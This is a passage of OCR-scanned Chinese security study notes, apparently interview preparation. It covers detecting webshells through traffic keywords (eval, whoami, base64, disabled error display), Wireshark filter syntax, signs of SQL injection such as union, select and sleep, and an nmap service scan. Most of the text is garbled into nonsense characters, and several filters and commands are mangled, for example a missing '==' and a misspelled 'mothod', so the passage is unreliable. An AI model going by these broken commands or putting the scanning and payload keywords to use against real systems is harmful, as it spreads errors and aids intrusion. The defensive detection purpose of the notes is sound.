
2 [Rig&MwebMARSHLIMIHEREIRS, IE5H
FEp_EfEwebshell, fidRESTTIGRBEE?

o HFeval. z0. shell. whoamiZ&XiEF, EEFHIVAENIZAIRNR, TR
BERWNNEAENEK, BrlgeRwebshell,

o B¥WireShark TEREEZRXEF, EUARERES.

o WHEEIPFIFF_ LEMNNE, BEEEE Awebshell,

3. wireshark{B B8 EFany?

[idi€ip]) : iSiERipttit:ip.src1.1.1.1; BAYipibit :

ip.dst1.1.1.1;

[EEima]) ;1 33E80iwMA: tcp.port80, jEimM: tcp.srcport80, BHY
im: tcp.dstport==80

(thiSGHIE] © EEmAMNYERIRT, dhttpthiihttp

[httptERiTiE] : idiEget/postBhttp.request.mothod=="GET/POST"
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4.WebshellifE23 BiRE4SIE?

o Webshel 2REEHIIRS MY, EEHIRZH[0EREFR, MEMRITESRE,
BRZN, BlgNeval. z0 (GEJIHHIE) . shell FITEXLXERIRE, BEARFES
ERWPNMIUR RIS R TR,

o WebshelliZE#zr]geffEFbase644wty, [ERINREESEAbase64BZ5 IR,
—fgSevalZIEXILL, HEZERR/NIOTEER L {EwebsheliH{T/mEEH.

o [RT RFEREL. basebdfmiSiEIIAL, BFFEInt_set(“display_errors",0") .4
WebshellifRE4FIEZ—,

o IEATLAMSIZIfconfig whoami ipconfig&kiEm<, XEKEWebshel FEX,
FEEHITAIS S,

5.5QLEARERESTAVEE?

o HIRERIENEMEZSEEERRT (3] aE (sqiEANMK] . 7TkA
EEREDT TERHITHA.

e [select] #0 [union] FEIEEBTTEDRHE, HXMEHEHIVREIRZMT
BERR/NTRFESOLINRHSIETHITImes T, TIRsXmNKEE,
EXrEEH—LEEEMSKESE. W 1)EBwireshark¥ JFHTEVEASRE
8, 2XFIMBEINEEEFELHTTPINYE, EFHITLHEHEMRERGRE
BRARIIP,

o SHEM—LEERAGENFHE (select, union, () . /*. sleepZ) ,

6. tEISEhttpiRS3?

o 73i5—: BEREFRnmapsV.pyTERIE], AiZ/9python3 nmapsV.py
ip.txtresult.txt,

o L FRAnmapIT B, T L-sVEEHITRARBIRIR], EFaENAYIPtE
/BB RN ip. txt 34, ERFdE<$nmap -sV -il ip.txt-oA OUTPUT --no-
stylesheet 3JHRIER S Hnmap3Zf4, {FRInampReport TEEHER.
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